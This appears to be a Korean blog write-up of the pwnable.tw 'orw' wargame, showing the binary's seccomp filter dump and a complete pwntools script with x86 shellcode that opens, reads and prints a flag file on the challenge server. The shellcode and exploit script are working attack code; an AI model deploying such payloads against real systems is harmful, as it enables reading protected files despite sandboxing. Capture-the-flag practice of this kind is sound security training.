void __cdecl orw_seccomp()
{ sock_fprog prog; // [esp+4h] [ebp-84h] sock_filter filter[12]; // [esp+Ch] [ebp-7Ch] unsigned int __canary; // [esp+6Ch] [ebp-1Ch] __canary = __readgsdword(0x14u); qmemcpy(filter, ::filter, sizeof(filter)); prog.len = 12; prog.filter = filter; prctl(PR_SET_NO_NEW_PRIVS, 1, 0, 0, 0); prctl(PR_SET_SECCOMP, SECCOMP_MODE_FILTER, &prog); } |
main
에서 orw_seccomp
함수를 처음에 호출한다. PR_SET_SECCOMP
로 syscall 필터링을 설정한다.
syine@MinetaLinux:/media/sf_VMShare/pwnable.tw$ seccomp-tools dump ./orw
line CODE JT JF K ================================= 0000: 0x20 0x00 0x00 0x00000004 A = arch 0001: 0x15 0x00 0x09 0x40000003 if (A != ARCH_I386) goto 0011 0002: 0x20 0x00 0x00 0x00000000 A = sys_number 0003: 0x15 0x07 0x00 0x000000ad if (A == rt_sigreturn) goto 0011 0004: 0x15 0x06 0x00 0x00000077 if (A == sigreturn) goto 0011 0005: 0x15 0x05 0x00 0x000000fc if (A == exit_group) goto 0011 0006: 0x15 0x04 0x00 0x00000001 if (A == exit) goto 0011 0007: 0x15 0x03 0x00 0x00000005 if (A == open) goto 0011 0008: 0x15 0x02 0x00 0x00000003 if (A == read) goto 0011 0009: 0x15 0x01 0x00 0x00000004 if (A == write) goto 0011 0010: 0x06 0x00 0x00 0x00050026 return ERRNO(38) 0011: 0x06 0x00 0x00 0x7fff0000 return ALLOW |
filter를 덤프뜨면 위와 같이 사용할 수 있는 syscall 목록을 볼 수 있다.
flag 파일 위치를 알려주기 때문에 (/home/orw/flag), 파일 open 한 뒤 read로 플래그 읽고 stdout으로 출력하면 된다.
1
2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 |
from pwn import *
import argparse def log_info(string) : sys.stderr.write((u'\u001b[37;1m[\u001b[32m+\u001b[37;1m]\u001b[0m ' + string + '\n').encode()) def exploit() : # shellcode = 0x804A060 # code at shellcode+0x0, data at shellcode+0x80 (0x804A0E0) # data+0x0 : /home/orw/flag\x00 # data+0x20 : [flag] # # int fd = sys_open("/home/orw/flag"); # sys_read(fd, flag, 0x30); # sys_write(1, flag, 0x30); # sys_exit(0); shellcode = ''' mov ebx, 0x804A0E0 xor ecx, ecx xor edx, edx mov eax, 5 int 0x80 mov ebx, eax mov ecx, 0x804A100 mov edx, 0x30 mov eax, 3 int 0x80 mov ebx, 1 mov eax, 4 int 0x80 mov ebx, 0 mov eax, 1 int 0x80 ''' payload = asm(shellcode) payload = payload.ljust(0x80, b'\x00') if args.remote : payload += b'/home/orw/flag\x00' else : payload += b'./flag\x00' p.writeafter(b':', payload) flag = p.read().replace(b'\x00', b'').decode() log_info('flag: '+flag) p.close() if __name__ == '__main__' : context.arch = 'i386' parser = argparse.ArgumentParser() parser.add_argument('-r', '--remote', action='store_true', help='connect to remote server') args = parser.parse_args() if args.remote : p = connect('chall.pwnable.tw', 10001) else : p = process('./orw') exploit() |
Last update: 10/21/2020
'Wargame > pwnable.tw' 카테고리의 다른 글
pwnable.tw / Start (0) | 2020.05.31 |
---|